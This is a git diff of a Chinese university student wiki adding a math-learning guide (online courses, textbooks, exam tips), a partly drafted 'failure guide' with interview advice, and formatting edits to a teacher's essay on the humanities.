假期以及开学前三周 + 这时候会有同学因为不想选某门课程或者通过将课卡在其他人号上想在假期“转移”到自己号上,选课系统中的课程余量就会时不时出现波动,此时可以上去系统看看说不定能捡漏哦。签课以及扩学分在开学前三周进行,请关注学校通知并且通过签课选上自己没能选上的课程。 diff --git a/1.杭电生存指南/1.13数学学习篇.md b/1.杭电生存指南/1.13数学学习篇.md new file mode 100644 index 0000000..bcf6634 --- /dev/null +++ b/1.杭电生存指南/1.13数学学习篇.md @@ -0,0 +1,263 @@ +# 数学学习篇 + +> author:张晓鹏 +> +> 本文章仅为导引 + +## 认知部分 + +其实之前这一部分写了一大堆,但感觉文字实在是太太太多了,又觉得这种认知篇应该在生存指南部分,因此重新修改了一个相对精简版,希望读者能理解我的意思,也容忍我的啰嗦。(实际上还是很多啊啊啊啊) + +在开始正式这一篇章前,我们需要先闲聊几句,这几句无关你的学习,但又可能无时无刻与你的学习相关。 + +1. 互联网时代下,学习资源过分的多,但学习资源的**质量参差不齐**。 + + - 啰嗦一:国内的教培太过魔怔,各种速成课、考研课,这种总结式的,反刍式的学习资源,在前期学习是极其不推荐的,它很可能会限制你的思维。 + - 啰嗦二:很多课程不是为你电定制的,你电虽然不算特别好的学校,但也不算差的,按照我老师的说法,根据当年精英教育比例来看,我们虽然算垫底,但还是精英教育。互联网上有非常非常多的课程是为了二三本同学,播放量高也是如此,毕竟市场人数差很大啊! + +2. 资源的**好坏定义取决于你自身的适配度**,适配度越高越好,并不是难度越高越好。 + + - 解释:他人认为的极好的书籍或课程,对他来说适配度 100%,对你来说却可能是 0%,因为你可能完全学不懂,或者对你而言,其学习过程完全没有兴趣。 + +3. 时间是极其稀贵的物品,不要浪费你的时间! + + - 解释:对于大部分工科学生来说,**数学更多是工具**,需要的是数学应用,而不是像数学系同学一样,理解数学的理论。诚然,能深刻理解数学,是能更好的利用工具,甚至创造工具,但是时间成本太高,大部分情况下性价比过低。 + + - 有人会说:专业学到很深的时候,后面会涉及大量数学理论,因此他要前期打下极其扎实的数学基础。 + + - 笔者的回复是:你不是小说男主,你不需要一开始就选择逆天功法,踏踏实实的努力足以支撑你的小世界。如果为了后续极高的上限,而在前期花费过多时间,其一,你很可能在应用层面被同龄人甩远而承受打击;其二,你很可能学了一堆其他领域侧重的数学理论,这在你实际专业和工作中可能完全用不到;其三,数学学不完的,他不像高中有考纲,有穷尽。 + +4. 高效利用时间的前提就是**明确自我需求**,针对需求进行**合理取舍**,建议设计一个尽可能适合自己的学习计划,过程中可以询问学长学姐一些建议,但仅是建议,最终决定权在你! + + - 解释:比如你未来的梦想工作是算法工程师,那么你在对应算法领域的数学要多尝试些,而其他部分可以省略些;如果你的未来工作和数学没有关系!那么别学了(开个玩笑,但是要求就变成了能过就行)! + - 啰嗦:学长学姐仅比你早一些来到学校,与你也没有责任与义务,其所表达观点也不一定对的,甚至大部分情况下,很多人的观念就是很被动的,千万千万不要被限制了,请主动思考什么是合适你的,什么是你想要的! + +5. 学习资源不代表视频资源,公共性课程视频资源很多,但随着专业深入,视频会越来越少,书籍和文献会成为主要学习路径,特别是外文文献。因此在能继续学习的前提下,**多尝试直接啃书**,而不是看视频。 + + - 啰嗦:国内的一些论文和书籍真的是依托答辩!原因没法告诉,这是不能碰的滑梯,但理工科文献尽可能就别看国内的了,说不定里面就有错误,然后影响你很久!(不代表国外就没错误,但是国内的这个整体问题比例太离谱了) + +6. 相信国外热门的资源都会有本土化,但是本土化的水平可能参差不齐,当自己**过于难理解时**,**请看一下英文原著**,因为可能问题不在于你,而在于翻译。 + + - 啰嗦:有些书籍的翻译是依托答辩!甚至题目都会给你抄错! + +7. **不要拒绝英文**,尝试拥抱,即便这看起来很困难,但慢慢会好起来的。(这与你的高考英语一点关系没有,别担心,你可以的!) + +8. 国内和国外的教材区别比较大,有一个恰当又不恰当的比喻:**国内的多数教材就像讲义**,看似清清楚楚,实则云里雾里,需要老师来带才能理解;**国外的经典教材如同仙人指路**,带你拨开迷雾。 + + - 啰嗦:这里并不代表国外就好,国内就差,前提也是国外经典教材,其次国情不同,国内中学阶段都是阅读讲义,因此大学这样编写也是正常的,默认需要老师来讲。(即便笔者觉得这很不合适) + +## 推荐学习线路篇 + +### 高等数学 + +#### 整体框架介绍 + +这里我对高等数学做一些简单的个人视角的介绍 + +其实高等数学/微积分,**全篇内容都在讲极限**,而这也是大学数学与高中数学最大的不同,高等数学的一切都**建立于无穷之上**,而极限是无穷的一种极好的表达方式。如果你在学习的过程中,全篇以极限的角度去审视这些内容,你就会发现,这里面所有的运算都是极限运算,包括导数、积分,甚至级数部分,前期可能感受不深,越到后面越发会感受到,一切的运算都是极限运算,那些所谓的性质和一些不能使用的特殊情况,往往也都来源于这个最本质的家伙,极限!就这样,是不是感觉讲了没讲,没错,还真是!因为数学太深了,再细节下去就不是一篇文章所讲的完了。还想知道更多吗?那就去看下面的**3Blue1Brown 的微积分本质**! + +下面到这个文章没啥意思的推荐部分了。不过还是强调一句:**根据你的需求进行选择**!!! + +#### 系统性的网课推荐 + +这里没有放速成课和考研课,因为笔者认为这两类课程的功利性过强,并且对知识的总结过多,不利于未来深入学习其他内容,因此不算传统学习路线,将速成课放在了最后应试技巧部分(考研课没推荐,因为笔者是数学系同学,这些不清楚,是一点也没看过) + +个人推荐优先级(以难度和深度划分):上交大乐经良>国防科大版本>宋浩 + +风格上前两者更传统,内容也更系统深刻,个人更喜欢乐老师一些;第三个宋浩老师课堂相对更活跃些,会讲比较多的段子,难度也更低一些。 + +系统性的网课选其一能完整跟下来即可(跟不下来也正常,坚持挺难的) + +如果你只是为了考试,选择宋浩版本就足够了;如果为了未来工作,工程应用方面会涉及比较多,请选择前两个更系统的课程。如果觉得这些不合适,那么可以自行搜索选择其他课程。 + +##### 《高等数学》上交大乐经良老师 + +- 链接:[【高等数学 - 上海交通大学 - 乐经良老师 高清修复 1080p(全集)】](https://www.bilibili.com/video/BV1aY4y137fr/?share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + + + +##### 国防科大《高等数学》 + +- 链接:[【国防科大高等数学【全网最佳】](https://www.bilibili.com/video/BV1F7411B7ep/?p=291&share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + + + +##### 宋浩《高等数学》 + +- 链接:[【《高等数学》同济版 全程教学视频(宋浩老师)】](https://www.bilibili.com/video/BV1Eb411u7Fw/?share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + + + +##### 《微积分》苏德矿 + +这个版本比较特别,比较**偏向经管类**的同学,因此没有放在前面比较。 + +- 【[微积分(浙江大学 苏德矿/矿爷)】](https://www.bilibili.com/video/BV1Lt411r7NQ/?share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + + + +- 如果苏德矿老师版本不太能接受的话,请看宋浩老师版本的微积分,但需要注意的是**宋浩老师版本与杭电考试范围有所不同**,可能需要缺失部分补齐一下。 +- 因为笔者对经管类数学了解远不如理工科数学,因此这里不做过多阐述,同学可以自行搜索了解。 + +#### 教材推荐 + +这一块相对简略一些,主要是几个点 + +1. 如果是自学,不推荐看同济版教材,和前面说的一样,那个像讲义,并且难度也不够,太浅了,需要老师来给你上课做额外注记。 +2. 图灵系列的书籍都是很不错的,并且套系的书很多,具体的可以先不着急买,可以先自行搜索电子书(前面章节应该有教的) +3. 书单链接:[数学经典教材有什么? - 人民邮电出版社的回答 - 知乎](https://www.zhihu.com/question/22302252/answer/1733795665) +4. 自行选择,能读完一个本就足够了,而且读不完正常,根据以往经验的不科学推断,大部分人最多看完网课,书本草草翻过。 + +#### 辅助工具推荐 + +这部分内容与传统的网课不同,更倾向于**知识体系的辅助构建和补充**,某种程度上你可以认为是精华内容。 + +##### 3Blue1Brown 的微积分本质 + +这个名字听起来就很不错,对吧! + +1. 链接:[3Blue1Brown 的个人空间_哔哩哔哩_bilibili](https://space.bilibili.com/88461692/channel/seriesdetail?sid=1528931) +2. 内容是英文的,但实际上不会怎么影响,若是过于难接受英文,可以自行搜索汉语翻译版。 +3. 这部分内容和传统的高数教学不同,从直观的**图形角度**,讲解各个微积分中的重要概念由来和应用。 +4. 学习时间:与传统网课无任何冲突,可以在**任何时间观看**,即传统网课的前、中、后三个阶段均可看,并且不同阶段看感受不同,**建议反复观看**。 +5. 学习难度:简单又不简单,简单在于讲解的方式非常通俗,图形化知识非常直观,不简单在于其本身内容是深刻的,彻底理解这些内容或许需要不断反复的看以及配合传统网课的学习,搭建完知识体系后顿悟。 + +##### Brilliant + +1. 链接:[https://brilliant.org/](https://brilliant.org/)。 +2. 国外非常火的直观学习数学网站,国内本土化产物是马同学图解数学,个人不推荐购买马同学图解数学,因为据个人了解,里面错误似乎比较多,但可以看其知乎上的好文章。 +3. 这个网站不做过多介绍,自己打开玩一玩就明白了。 +4. 额外补充一:这是一个付费内容,前几天是免费的,如果你觉得他值得,可以进行购买,购买途径可以官网,但第三方价格会便宜些,比如淘宝、闲鱼、PDD。 +5. 额外补充二:一个好用的翻译浏览器插件:沉浸式翻译,可以更好的体验。 + +##### MIT-微积分重点 + +1. 链接:[【我在 B 站上大学!【完整版 - 麻省理工 - 微积分重点】全 18 讲!学数学不看的微积分课程,看完顺滑一整年。_人工智能数学基础/机器学习/微积分/麻省理工/高等数学】](https://www.bilibili.com/video/BV1rY4y1P7er/?p=2&share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + +2. 非常**优雅的入门课**,同前面 3Blue1Brown 的微积分本质一样的使用方法。 +3. 注意,这个是**入门课**,不算系统课程! +4. **建议看完!** + +### 线性代数 + +#### 整体框架介绍 + +下面又是我一点点个人理解,好吧,其实就一句话,别担心!线性代数是一个很特别的学科,刚开始很难,中间很混乱,最后很通透,因为全篇都在以不同的角度阐述相同又不同的内容,所以某种意义上,线性代数可以从任何一章节开始学习(当然,实际上要根据教材来,不然很怪啦) + +而关于线性代数整体研究什么,我极力推荐下面辅助部分的丘维声先生高等代数第一节高等代数研究对象(就第一节哦!因为这是数学系课程,偏理论,非数同学看多了不合适) + +#### 系统性的网课推荐 + +与高等数学模块相同,这里没有放速成课和考研课,因为笔者认为这两类课程的功利性过强,并且对知识的总结过多,不利于未来深入学习其他内容,因此不算传统学习路线,将速成课放在了最后应试技巧部分(考研课没推荐,因为笔者是数学系同学,这些不清楚,是一点也没看过) + +这里只推荐两个网课,如果觉得自身不合适,可以自行去寻找其他更合适的。 + +##### MIT 版的线性代数 + +1. 链接:[【麻省理工学院 - MIT - 线性代数(我愿称之为线性代数教程天花板)】](https://www.bilibili.com/video/BV16Z4y1U7oU/?share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + +2. 评价:神中神!未来做工程应用的学生很推荐看这个! + +##### 宋浩线性代数 + +1. 链接:[【《线性代数》高清教学视频“惊叹号”系列 宋浩老师】](https://www.bilibili.com/video/BV1aW411Q7x1/?share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + +2. 评价:MIT 系列过于强大,宋浩版本显得有些暗淡无光,但实际上宋浩老师版本完全是可以应对考试,如果接受不了 MIT 的版本,还是可以考虑有趣的宋浩老师。 + +#### 教材推荐 + +与前面高等数学部分相同,这里只做几个点说明 + +1. 有一些线性代数的图解书籍或者讲几何意义的,可以看,但这里没做推荐,因为很多书不太严谨,可以自行搜索。 +2. 书单链接:[有没有讲线性代数比较好的教材? - 如何表达的回答 - 知乎](https://www.zhihu.com/question/586392502/answer/2913648674) +3. 主推荐还是 MIT 网课老爷子的配套书籍, +4. 尽可能看英文原版,不要害怕。 +5. 《线性代数及其应用》千万别看翻译版,有很大问题,要看只看原版!![img](https://cdn.xyxsw.site/v2-704a5d77d767493bada1feccadcd6c4c_720w.webp) + +#### 辅助部分 + +跟上面的高数部分一样,不过对于线性代数来说,可视化的理解会更有效果 + +##### 3Blue1Brown 的线性代数本质 + +1. 链接:[【官方双语/合集】线性代数的本质 - 系列合集】](https://www.bilibili.com/video/BV1ys411472E/?share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + +2. 神中神!多看,反复看!不允许学线性代数的人不看这个视频! +3. 其他不多说,和前面高数一样 + +##### Brilliant + +1. 链接:[https://brilliant.org/](https://brilliant.org/) +2. 和高数部分一样,不多说了 + +##### 丘维声《高等代数》第一节课--高等代数研究对象 + +这个课程是数学系同学学习的,也是笔者学习的课程,本来不该给非数学系的同学推荐,但是这里面的第一节讲的太好了,能让你很快的构建起一个**大概的框架**,并且能很好的避免传统无脑填鸭式的上来就给你讲行列式的课程体系(**点名批评线性代数紫皮书**,也就是杭电教材,同济大学版的线代) + +1. 链接:[【北大丘维声教授清华高等代数课程 1080P 高清修复版 (全 151 集)】](https://www.bilibili.com/video/BV1jR4y1M78W/?share_source=copy_web&vd_source=1958d03181be22cf265b18eeec1314ff) + +2. 再强调一下嗷,就**只看第一节**,也就是 001 和 002 两个视频。因为后续整个内容偏理论,应用层太少,不适合传统工科,但这第一节,绝对能让你搭建一个大概的**框架**,助力后续学习不晕眩! + +##### 线性代数可视化手册 + +- 一个非常好的笔记,总结的很不错,但刚开始看会看不明白(毕竟是总结),建议学完一遍再看 + +- 链接:[kenjihiranabe/The-Art-of-Linear-Algebra: Graphic notes on Gilbert Strang's "Linear Algebra for Everyone" (github.com)](https://github.com/kenjihiranabe/The-Art-of-Linear-Algebra) +- 别告诉我不会在 GitHub 上下载文件哈(不会就去学下,利用 AI 工具 + +## 其他部分 + +### 新生先修课 + +【Warning】这里别的不能多说,只能简略提几点,希望你能懂。 + +1. 这是自愿内容,不是必须的。 +2. 合理利用机制,可以考虑替代期中成绩,为部分同学刷分需要(注!不是所有人都要刷分的!具体看 1.6 节正确解读 GPA)。 +3. 这份网课面向的是全体学子,其不一定适合你,或过于简单,或效率不高,但你应该尝试作为独立个体将其与其他课程进行对比,选择合适你自己的,为自己负责。 +4. 相信互联网资源的筛选法则。 + +### 未央学社数学答疑(应试部分) + +是不是有点同学会觉得很奇怪,未央学社不是搞技术的吗,好像 java 后端很厉害,实际上这里打个小广告,未央学社除了技术部,还有讲师团和运营部,而讲师团专门负责给大家数学答疑和整理资料,我们构建了**HDU 数学营**,里面有很多资料,比如**往年卷**,比如我们专属出品**复习提纲**等,还有**非常多的同学互帮互助**,不说了,直接来看吧! + +#### 未央学社 HDU 数学营 + +![image-20230801062631288](https://cdn.xyxsw.site/image-20230801062631288.png) + +#### 钉钉答疑 + +我们还提供答疑服务,详细内容可以看下面的推文哈 + +[未央学社学业答疑服务来啦 | 助力解决学业问题](https://mp.weixin.qq.com/s/FmwT_V8j4we22KzJiHWmtQ) + +#### 应试技巧 + +##### 往年卷 + +因为知识点不会变化,每年只是侧重有些区别,并且大部分题型还是一样的,因此往年卷有助于快速提分,做 3 份往年卷,你就会发现,欸,好像每年差不多。 + +##### 速成视频 + +个人不推荐猴博士,不适合杭电,看了容易挂科。 + +为了不挂科,速成方面,微信公众号:蜂考,相对合适一些,但仅用于速成! + +关于视频资源:可以支持购买正版,也可以 PDD,TB 等地方获取。 + +##### 高分复习顺序(个人推荐版) + +这部分内容仅为个人看法,不代表一定能高分,也不代表不这样做拿不到高分。 + +最完整的复习顺序:知识点→书本例题→课堂例题(一般有 PPT)→作业题→书本课后题→往年卷真题 + +考试题型来源:作业题和例题,因此当回顾作业题完成后,做往年卷会有特别感受。 + +随时间可不做的优先级(若时间来不及,先砍) + +1. 书本课后题 +2. 作业题 +3. 知识点(这里值得是细看知识点,不是粗看,粗看都不看,直接跳转第 7 步) +4. 课堂例题 +5. 书本例题 +6. 往年卷真题 +7. 如果平时没努力的话,这时候可以开始准备补考了 diff --git a/1.杭电生存指南/1.14 杭电失败指南.md b/1.杭电生存指南/1.14 杭电失败指南.md new file mode 100644 index 0000000..39c162d --- /dev/null +++ b/1.杭电生存指南/1.14 杭电失败指南.md @@ -0,0 +1,183 @@ + +# 杭电“失败”指南 + +## 前言 + +> 淋过雨的人,也想为别人打伞 + +毕业很久了,但是回望我的大学生涯,充满了很多遗憾,吃过很多苦头,收获了很多教训,我偶尔会回想,如果当初我如何如何,现在会不会不那么“失败”一些。于是,在某个晚上,有了这篇指南。 + +谢谢学弟学妹能够抽出时间看这篇“失败”指南,这篇指南以个人角度讲述了一个 CS 学生在上大学的时候收获到的一些经验和教训,或许没那么适用,但是也许可以让学弟学妹的大学生活不会像我一样“失败”。 + +这篇文章尽可能少的讲故事,更多是实用主义的教训(杂谈篇除外)(里面有太多偏激的观点,说教色彩也很浓厚,仅供参考)。 + +如果这篇所谓的狗屁指南让你觉得 + +> 听过很多道理,依然过不好这一生 + +没关系,勇敢地去做自己热爱的事情就好。 + +## 杂谈篇 + +> 如果你是一个对 CS 充满热爱,怀抱一颗技术宅拯救世界的心,那你可以跳过此篇。(其他章节可以读读 (#^.^#)) +> 如果你像我一样,是一个明明从小热爱技术,但是有时候有些功利的矛盾人,又或者是大多数对大学充满迷茫,不知道该怎么办的人,或许可以继续看下去。 + +### 高考败犬:脱颖而出的心态修炼 + +我所在的学院每年都有或多或少一些学生,觉得自己是高考考差才来这里的,刚进来校的我也是这样。这种心态我非常能理解,但是问题是进来了以后,怎么在这所学校脱颖而出?(PS:前提是你想脱颖而出) + +1. 保持这份不甘心。太多同学在刚进大学的时候踌躇满志,最后四年以后可能也是泯然众人。当初的一份志气也被消磨在宿舍、游戏和无意义的社交中。为了让自己能够脱颖而出,首先要做的就是提醒自己,保持不甘心,保持自己的志气,不要甘心自己已经有的一切,永远觉得自己可以更强,更厉害。 + +2. 充满野心,渴望成为这个学校最顶尖的那批人。老实说,杭电是一所双非,在未来会对你(大部分人)在很多地方都有些隐性限制,但是,每一所大学最顶尖的那批人,都能够冲破这些束缚。直白些说,即使它是一所双非,但是它在很多领域都有超越一些 211 和 985 的资源和实力。很幸运,CS 领域就是其中之一。不用怀疑,它能够提供你所想要的一切。但是资源是有限的,所以如果你想成为很厉害很厉害的人,那么就一定要尽可能去抓住它能够给你的一切资源。 + +### 攫取者:永远向厉害的人去学习 + +那么,杭电究竟能够给大家什么资源呢?浓厚的竞赛氛围?浓厚的 CS 氛围?我个人觉得不全是。杭电之所以成为 CS 强校,是因为上述氛围吸引和聚拢了一堆充满理想,热爱技术的人儿。或许你可能只是一名还在迷茫期的新生,但是没关系,去主动靠近和接触他们,永远向比你厉害的人学习,不断提高自己的技能和认知水平。特别是认知。 + +之所以强调这一点,是因为技能是可以自己通过时间去磨炼的,但是认知的话,如果你根本不知道有"A",怎么可能去主动学习"A"呢?如果你不知道厉害的人他们平时在干什么,他们在学什么,在打什么比赛,研究什么先进或有趣的东西,你怎么可能去学习这些呢?我觉得进杭电的同学,其实"天赋"和"聪明程度"都差不多,关键在于信息差和执行力。(PS:hdu-cs-wiki 就是一种缩小信息差的工具) + +那么,怎么才能认识到这么多厉害的人,以及向他们学习呢?说白了,就是混进大佬的圈子。作为新生,一个打开局面的方法是,先选择一个方向去钻研学习,结识这个方向的大佬,成为这个方向的大佬,然后认识其他方向的大佬。 + +问题就转化成,我该选择哪个方向成为我的起点。 + +### 迷茫中的选择:科研/竞赛/开源/学业/技术/工作 + +> 犹豫就会败北,世界不是非此即彼,热爱才抵得过岁月漫长 + +作为新生,我曾一度非常非常非常迷茫,当时最大的问题是,该选择哪个方向发展,是 CTF?还是 ACM?还是刷绩点争取保研?还是专注我热爱的技术,做有影响力的开源? + +我犯过最大的教训有三个,一个是功利主义地拒绝了自己最热爱的方向,二是总在犹豫和后悔自己的选择,三是总觉得不同方向只能选择一个,无法兼顾。 + +TBD... + +## 科研篇 + +### 选择障碍:怎么选择研究方向 + +TBD... + +### 从 0 入门 AI:实践和理论的权衡 + +TBD... + +### 论文相关:从阅读一篇论文说起 + +TBD... + +### 论文相关:头疼的文献管理 + +TBD... + +### 论文相关:好记性不如烂笔头 + +TBD... + +### 经验谈:炼丹师的能力修炼 + +TBD... + +### 经验谈:合作交流及信息渠道 + +TBD... + +### 实践谈:提出 idea 到投稿的经验教训 + +TBD... + +## 竞赛篇 + +### 四大竞赛对个人成长的收益分析 + +TBD... + +## 开源和个人影响力 + +### 为什么要培养个人影响力 + +TBD... + +### 如何做人工智能方向的开源项目 + +TBD... + +## 技术篇 + +### 后悔药:如何选择技术发展方向 + +TBD... + +## 学业篇 + +### 如何兼顾学业绩点和专业技能培养 + +TBD... + +### 过时的个人谬论:如何聪明且高效地刷绩点 + +TBD... + +### 2023 年以后读研的必要性如何 + +TBD... + +### 保研经验分享 + +TBD... + +## 找工篇 + +### 后悔药:如何“面向找大厂工作”读大学 + +TBD... + +### 经验篇:高效准备基础知识和笔试考核 + +TBD... + +### 简历篇:如何做一份或许“优秀”的简历 + +TBD... + +### 经验谈:非技术因素在面试中的影响 + +之所以选择这个话题,一方面是因为这个东西很容易被大家忽略,另一方面这个也比较普适,无论做开发还是算法都可以参考。 + +#### 面试前 - 个人介绍 + +在面试前应该准备好自己的个人介绍,除了老生常态的基本信息外,我觉得需要做到既要突出自己的亮点,但是别太过,同时也要根据不同的面试去修改。 + +先给大家看一个例子: + +您好,我叫 xxx,是 xx 大学 xx 学院 xx 级学生。自从进入大学以来,我【省略一些内容】。在 xxx 地方实习期间做了 xxx 工作。在平时,xxxxx(主要讲自己的开源社区贡献、技术博客撰写、竞赛等) + +**第一就是要尽量介绍地比较“多面”**,不但要说自己在学校和实习中做了什么,还要说一些个人影响力的东西,比如开源社区贡献这一块。其实就是突出一些自己相对于其他候选人的亮点,相比于其他大部分人来说,你的特别在哪。 + +**第二就是要建立“投缘”机会**,在面试前,搜集到这场面试的部门和小组是做什么,甚至面试官是谁。【省略一些例子】。我想强调的关键是在自我介绍中,**突出自己和这个部门,这个组的 connection,寻找尽可能多的共同点和缘分点**。 + +#### 面试中 - 项目准备 + +在面试前,还应该准备好自己的项目梳理笔记。实际上,在面试过程中,如果没有提前梳理好自己的项目的逻辑的话,很难在面试现场讲清楚以及让面试官及时 get 到你想表达的点。 + +一般而言,对于在校期间做的一些项目或者开源项目自己都能比较好地梳理清楚,但是比较难的是在实习过程中,特别是一份复杂的业务实习中梳理自己的产出。我个人认为**面试官比较关注以下几个方面**:一就是业务背景,也就是咱们的业务是什么,大概的架构,发展到哪种阶段,目前的瓶颈等。二就是本人负责的模块是什么,创新点是什么,以及特别重要的是:”我为什么要做这件事!“,三就是这个模块最后的业务收益是多少,怎么去评判收益。可以参考这种逻辑去梳理。 + +#### 面试前 - 好记性不如烂笔头 + +上文主要讲了个人介绍和项目梳理,我建议大家把个人介绍和项目梳理都放在一个 note 里面,每次面试前半个小时到一个小时回顾下自己的 note,以及根据面试岗位和小组来修改下。这样的好处在于每次都回顾下自己的项目和介绍,面试过程中有参考,不会慌。等面试次数多了,你就会发现,其实**每场面试都是在重复介绍你 note 里面的内容**。 + +#### 面试中 - 换位思考很重要 + +**面试过程中的一大禁忌就是不考虑面试官的感受,一股脑介绍自己的项目**。一方面,面试官无法在短时间内吸收到你想表达的内容,另一方面,你一直噼里啪啦输出面试官听不懂的东西,面试官也会特别烦躁。 + +一个比较好的方式是:每次介绍完一段时,就停下来,反问面试官:您看您对这个项目的 xx 有什么疑问吗?比如说你介绍完项目背景后,就记得停下来,反问下,您看你对这个项目背景有什么疑问吗。 + +除了每次介绍完一段就停顿时,还有一个需要注意的点在于,不要梳理完项目以后,就完全按照项目梳理的内容去念,要注意观察面试官的反应,如果感觉他其实并不怎么感兴趣,就想办法赶紧结束。 + +#### 面试中 - 反问阶段 + +反问阶段是一个及时获取信息的好机会。不同面试阶段有不同的提问。一面基本是你的同事或者你的 mentor,这个时候可以专注问一些工作内容,工作氛围等比较实际的话题。对于三面来说,一般是大老板,这个时候你要抓住机会和他交流下一些比较 high-level 的东西,因为以后很少有机会去和这样 senior 的人交流。话题诸如:职业发展路径、发展前景、绩效考核、我会被分配到什么具体组。 + +如果在每场面试的时候,你想知道自己大概的表现,你可以反问阶段,非常非常非常委婉地提问:您看我这次面试还有什么可以提升的地方吗? + +## 结语 + +TBD... diff --git a/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语).md b/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语).md index 76ccdbe..4f10c06 100644 --- a/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语).md +++ b/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语).md @@ -4,20 +4,20 @@ 大学的真意是综合而全面的培养一个人。为什么大学有这样的职责?因为这是人最后的受教育阶段(研究生、博士生也是在大学里接受教育)。从接受教育开始到走向社会为止,这期间是人,变成一个人最为宝贵的阶段。 -大学是唯一可以与来自五湖四海、不同学科背景的人共处一个校园的时期,这里就应该是开放而需要激烈思想碰撞的地方。大学是专业的,但同时更是广博的,我们在黄金的年龄来到这里,就不要轻易的错过这样疯狂吸纳不同看法的机会。同样,大学是未来所有可能性的孵化器,请保持一颗尝试新事物的心,索取大学所能给予的任何一切,并让它成为提升自我的工具。 +**大学是唯一可以与来自五湖四海、不同学科背景的人共处一个校园的时期,这里就应该是开放而需要激烈思想碰撞的地方**。大学是专业的,但同时更是广博的,我们在黄金的年龄来到这里,就不要轻易的错过这样疯狂吸纳不同看法的机会。同样,大学是未来所有可能性的孵化器,请保持一颗尝试新事物的心,索取大学所能给予的任何一切,并让它成为提升自我的工具。 工具,我并不避讳这个词。只不过我并不想将这个词与人画等号。人非工具,而是使用工具的。我们的祖先经过数百万年的努力和尝试,才学会使用并创造工具,目的就是不再沦为工具,我们站在 21 世纪也不应该心甘情愿的将自己锻造成一个工具,这是返祖与退化的表现。 21 世纪是人类对高科技和超级想象力、创造力最渴求的百年。一个想法和主意胜过千万个重复的机械化劳动,虽然后者也能带来一定程度的好处,但这并不我们的目标。大学是否能迸发出惊人的创造力,在于学生和教师的思想与行为。而不同的学科交叉和碰撞会让创造力和科技的创新更大概率出现。 -听说乔布斯有对禅宗修习的经历,而他的工作可能并不与禅宗搭边。但他的成功却不能不说与他广泛的涉猎有关。工具是没有办法创造工具的,只有人才能创造。我们大学生应该去思考在大学四年如何想办法把自己锻造成真正的人。 +听说乔布斯有对禅宗修习的经历,而他的工作可能并不与禅宗搭边。但他的成功却不能不说与他广泛的涉猎有关。工具是没有办法创造工具的,只有人才能创造。**我们大学生应该去思考在大学四年如何想办法把自己锻造成真正的人。** -这个人不是做题的机器,不是刷题的工具,不是眼中只有考高分的单一生物,当然更不可能是成天浑浑噩噩、行尸走肉的颓丧者、躺平者。说到这里,可能会讲,难道不躺平去卷吗?并不是,我反对 “卷”,因为 “卷” 的含义是无意义的恶性竞争和没有实际突破的简单重复劳动,边际效益递减的不划算却无奈的选择。“卷” 不等于 “勤奋” 、 “创造” 和 “想要变得更强” ,将之画等号我认为是当前观念中一个很大的误区。我们需要大学生有自己的思考和创造力,需要大学生是一个综合全面发展的人。只有这样大学才有活力、希望,社会才有动力,国家才有未来。 +这个人不是做题的机器,不是刷题的工具,不是眼中只有考高分的单一生物,当然更不可能是成天浑浑噩噩、行尸走肉的颓丧者、躺平者。说到这里,可能会讲,难道不躺平去卷吗?并不是,我反对 “卷”,**因为 “卷” 的含义是无意义的恶性竞争和没有实际突破的简单重复劳动,边际效益递减的不划算却无奈的选择。**“卷” 不等于 “勤奋” 、 “创造” 和 “想要变得更强” ,将之画等号我认为是当前观念中一个很大的误区。**我们需要大学生有自己的思考和创造力,需要大学生是一个综合全面发展的人。**只有这样大学才有活力、希望,社会才有动力,国家才有未来。 我知道大学可能并不如你们想象的那般美好,有不负责的、划水上课的老师以及你看不惯的、瞧不起的种种行为,但这并不是自己选择放弃和抱怨的理由。因为,我相信大学还有认真负责的老师、有思想的学者以及有想法的同学,我们需要和自己钦佩、三观相符的人多接触,让自己成为你佩服的人的样子,而非因为种种不好的现象而选择全盘的否定、甚至自暴自弃。 - 要有自己的目标,年轻是实现自己目标最好的资本。为了这个目标,在大学里徜徉、像海绵一样吸纳如水般的知识和见识。博采众长而非简单功利。可能你今天听了不重要的课(相对于专业课),但只要是值得听的老师讲的有涵养的课,你就不算枉费时光。因为这样的经历并不会让你浪费时间,而会在未来的某刻显示出它的价值。 +** 要有自己的目标,年轻是实现自己目标最好的资本。**为了这个目标,在大学里徜徉、像海绵一样吸纳如水般的知识和见识。博采众长而非简单功利。可能你今天听了不重要的课(相对于专业课),但只要是值得听的老师讲的有涵养的课,你就不算枉费时光。因为这样的经历并不会让你浪费时间,而会在未来的某刻显示出它的价值。 -不要让自己的大脑空空,刷抖音、看游戏直播或者看无聊的视频或许是娱乐的方式,但这些是你可以在余生每天都可做的最没有技术含量的事,而且这些并不会让你大脑填入真正有价值的东西。去做只有大学时光才能做的事吧!丰富自己、创造自己、提升自己。多看一页经典的著作,这是人类上百年乃至上千年思想的精华。多认真的听一节有价值的课吧,这是老师积几十年的学识认真准备的盛宴。 +不要让自己的大脑空空,刷抖音、看游戏直播或者看无聊的视频或许是娱乐的方式,但这些是你可以在余生每天都可做的最没有技术含量的事,而且这些并不会让你大脑填入真正有价值的东西。**去做只有大学时光才能做的事吧!**丰富自己、创造自己、提升自己。多看一页经典的著作,这是人类上百年乃至上千年思想的精华。多认真的听一节有价值的课吧,这是老师积几十年的学识认真准备的盛宴。 可能你会说,大学没有好的课程,老师都在划水。如果你有这样的看法,我想说,可能是你了解的太少所致,多去了解一下一定有让你满意的老师。另外,为什么大学会出现这样不好的课程呢?因为老师不愿意好好上课。为什么老师不愿意好好教学呢?因为在功利化的指挥棒下,好好上课是性价比最低的行为。如此,你就知道大学只知道功利化、工具化的接受教育,而不培养人文素养的恶果了吧! diff --git a/1.杭电生存指南/1.2竞赛指北.md b/1.杭电生存指南/1.2竞赛指北.md index fdf35a6..64e6cb0 100644 --- a/1.杭电生存指南/1.2竞赛指北.md +++ b/1.杭电生存指南/1.2竞赛指北.md 